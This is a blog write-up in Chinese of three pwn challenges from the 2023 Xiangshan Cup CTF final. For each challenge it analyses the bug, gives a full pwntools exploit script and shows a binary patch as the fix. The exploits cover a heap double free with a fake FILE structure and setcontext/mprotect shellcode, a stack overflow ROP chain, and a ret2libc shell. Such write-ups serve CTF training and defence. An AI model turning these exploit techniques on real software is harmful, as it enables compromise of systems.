文章

2023香山杯决赛Pwn-分析

进决赛了,但是和金砖的比赛冲突了决赛没时间去了呜呜呜😭😭😭,选择去打金砖了,好打一点。

camera

程序分析

image

根据程序的功能然后加上一些手法,可以double free

后面就是填满 tcachebins 然后 fastbin double free 就好了

image

cat 用的顺手了,我就直接用 cat ORW 就好了

image

Break

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote()
    else:
        return process([binary] + argv, *a, **kw)

gdbscript = '''
continue
'''.format(**locals())

binary = './dalao_slo/pwn'
libelf = ''

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)
libc = elf.libc
io = start(binary)
#io = remote()

def rm(size):
    ru('>> \n')
    sl('1')
    sl(str(size))

def add(size,text):
    ru('>> \n')
    sl('2')
    ru('Please select a film of your preference within your budget.\n')
    sl(str(size))
    ru('Content: \n')
    sl(text)

def load(idx):
    ru('>> \n')
    sl('3')
    ru('whitch one do you want to load\n')
    sl(str(idx))

add(0x488,'text0')
add(0x60,'text1')
load(0)
rm(1)
add(0x488,'')
load(0)
rm(1)
ru('content: ')
main_arena = uu64(r(6))
libc_base = main_arena - 2018272

add(0x488,'pad')
for i in range(8):
    add(0x60,f'text{i}')
for i in range(8+1,1,-1):
    load(i)
rm(8)
for i in range(7):
    add(0x60,f'')
#load(8)
load(7)
rm(3)
ru('content: ')
xx = uu64(r(6))
heap_base = xx - 1952
libc.address = libc_base
_IO_list_all    = libc.sym['_IO_list_all']
add(0x60,p64(_IO_list_all-0x20))


add(0x60,'/bin/sh\x00')
add(0x60,'/bin/sh\x00')
add(0x60,'/bin/sh\x00')
pay = p64(0)*2 + p64(heap_base + 2832)
add(0x60,pay)

libc.address = libc_base
libc_rop = ROP(libc)
system          = libc.sym['system']
mprotect        = libc.sym['mprotect']
setcontext      = libc.sym['setcontext']
__free_hook     = libc.sym['__free_hook']
_IO_list_all    = libc.sym['_IO_list_all']
_IO_wfile_jumps = libc.sym['_IO_wfile_jumps']
rax = libc_rop.find_gadget(['pop rax','ret'])[0]
rdi = libc_rop.find_gadget(['pop rdi','ret'])[0]
rsi = libc_rop.find_gadget(['pop rsi','ret'])[0]
rdx = libc_rop.find_gadget(['pop rdx','pop rbx','ret'])[0]

RCE = setcontext + 61
fake_IO_addr = heap_base + 2832
shellcode_addr = fake_IO_addr + 248
pop_5_ret = libc_rop.find_gadget(['pop rbx','pop rbp','pop r13','pop r14','pop r15','ret'])[0] # pop 5*;ret  # libc.2.31 9.12
#lss('pop_5_ret')
#gdb.attach(io)

fake_IO_FILE  = p64(8)
fake_IO_FILE += p64(RCE) # call
fake_IO_FILE += p64(0) +p64(1) # _IO_write_base # _IO_write_ptr
fake_IO_FILE += p64(fake_IO_addr) # fp->_IO_write_ptr
fake_IO_FILE += p64(rdi) + p64(heap_base) + p64(rsi) + p64(0x1000) + p64(rdx) + p64(7) # pop*5 to me
fake_IO_FILE += p64(fake_IO_addr+0xc0)
fake_IO_FILE += p64(mprotect)
fake_IO_FILE += p64(shellcode_addr)
fake_IO_FILE  = fake_IO_FILE.ljust(0x90,b'\x00')
fake_IO_FILE += p64(fake_IO_addr+0x10)
fake_IO_FILE += p64(pop_5_ret) # setcontext Tow CALL #need pop * 5 ;ret
fake_IO_FILE  = fake_IO_FILE.ljust(0xb0,b'\x00')
fake_IO_FILE += p64(1) # mode
fake_IO_FILE  = fake_IO_FILE.ljust(0xc8,b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps + 0x30)
fake_IO_FILE  = fake_IO_FILE.ljust(0xe0,b'\x00')
fake_IO_FILE += p64(fake_IO_addr)
fake_IO_FILE += asm(shellcraft.cat('/flag'))

add(0x400,fake_IO_FILE)
lss('libc_base')
lss('heap_base')
lss('_IO_list_all')
#gdb.attach(io,'brva 0x001354')
#gdb.attach(io,'b *_IO_switch_to_wget_mode')
#rm(1)
ru('>> \n')
sl('4')

io.interactive()

fix

  • 方法1

直接减少最大堆块数量

image

fix 后

image

  • 方法2

正常情况下 加10个 删 10个

​​image​​

但是呢,主要还是free 后的结构体 +0x8 这个残留,导致漏洞百出

​​image​​

fix前

image

image​​

fix 后

image

1
2
3
4
mov rdi,[rax+8]
mov qword ptr [qword_4060],rdi
mov qword ptr [rax+0x10],0
mov qword ptr [rax+8],0

image

没有残留了

​​image​​

how2stack

程序分析

nbytes 可控,栈溢出是必然存在的

image

Break

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote()
    else:
        return process([binary] + argv, *a, **kw)

gdbscript = '''
brva 0x00018A0
continue
#stack 40
'''.format(**locals())

binary = './pwn'
libelf = ''

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)

io = start(binary)
#io = remote()



def add(size,text):
    ru('Your choice: ')
    sl('1')
    ru('Length: ')
    sl(str(size))
    ru('Data: ')
    s(text)

#gdb.attach(io,'brva 0x00018A0')

pay = b'A' * 0x64
pay += b'\xff' * 4
add(0x68,pay)
ru('ff '*4)
stack =  uu64(bytes.fromhex(io.recvline()[:-1].replace(b' ',b'').decode()))



pay = b'A' * 0x64
pay += b'\xff' * 4
pay += p64(stack+48)
add(len(pay),pay)
ru('Result in hex: ')
libc_addr =  uu64(bytes.fromhex(io.recvline()[:-1].replace(b' ',b'').decode()))
libc_base = libc_addr - 147587

libc = elf.libc
libc.address = libc_base
libc_rop = ROP(libc)
mprotect        = libc.sym['mprotect']
rax = libc_rop.find_gadget(['pop rax','ret'])[0]
rdi = libc_rop.find_gadget(['pop rdi','ret'])[0]
rsi = libc_rop.find_gadget(['pop rsi','ret'])[0]
rdx = libc_rop.find_gadget(['pop rdx','pop rbx','ret'])[0]

pay = b'A' * 0x64
pay += b'\xff' * 4
pay += p64(stack+48)
pay  = pay.ljust(0x78,b'\x00')
pay += p64(rdi) + p64(stack & 0xFFFFFFFFFFFFF000)
pay += p64(rsi) + p64(0x3000)
pay += p64(rdx) + p64(7) * 2
pay += p64(mprotect)
pay += p64(stack+88)
pay += asm(shellcraft.cat('/flag'))

#db.attach(io,'brva 0x0000177E')
lss('stack')
lss('libc_base')
gdb.attach(io,'brva 0x018E4')
add(len(pay),pay)



io.interactive()

fix

直接写死 0x60

image

ezgame

程序分析

漏洞 gets() 溢出,

image

看看上面那个函数 sub_4015F7(100LL, 1100LL, 10LL, 30LL, 15LL);

image

Break

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(str(delim), data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(str(delim), data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)
lss     = lambda s                  :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch      = 'amd64'
context.log_level = 'debug'
context.terminal  = ['tmux','splitw','-h','-l','130']
def start(binary,argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([binary] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.RE:
        return remote()
    else:
        return process([binary] + argv, *a, **kw)

gdbscript = '''
continue
'''.format(**locals())

binary = './pwn'
libelf = ''

if (binary!=''): elf  = ELF(binary) ; rop=ROP(binary)
if (libelf!=''): libc = ELF(libelf)

io = start(binary)
#io = remote()


# 增加攻击值
for i in range(200):
    ru('> ')
    sl('2')
    ru('What kind of monster do you want to fight?\n')
    sl('0')
    ru('> ')
    sl('2')
    ru('What kind of monster do you want to fight?\n')
    sl('1')

#
#ru('> ')
#sl('1')
# 后面直接 溢出 然后正常 ROP ret2libc 就行了
rop = ROP(binary)
libc = elf.libc
#gdb.attach(io,'b *0x04017FC')
ru('> ')
sl('2')
ru('What kind of monster do you want to fight?\n')
sl('2')
pay = b'A' * 0x658
pay += p64(rop.find_gadget(['pop rdi','ret'])[0]) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(0x401749)
sl(pay)
ru('are increased.\n')
x = uu64(r(6))
libc_base = x - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
lss('x')
ru('What kind of monster do you want to fight?\n')
sl('2')
pay = b'A' * 0x658
pay += p64(rop.find_gadget(['pop rdi','ret'])[0]+1) +p64(rop.find_gadget(['pop rdi','ret'])[0]) + p64(bin_sh) + p64(system) + p64(0x401749)
sl(pay)

io.interactive()

fix

  • fix 前 gets(v1)溢出

image

image

直接patch 成一个 sys_call read , 正常读取内容 但是限制输入长度

image

这样应该是没问题的

image

本文由作者按照 CC BY 4.0 进行授权

© imLZH1. 保留部分权利。

本站总访问量

本站采用 Jekyll 主题 Chirpy

热门标签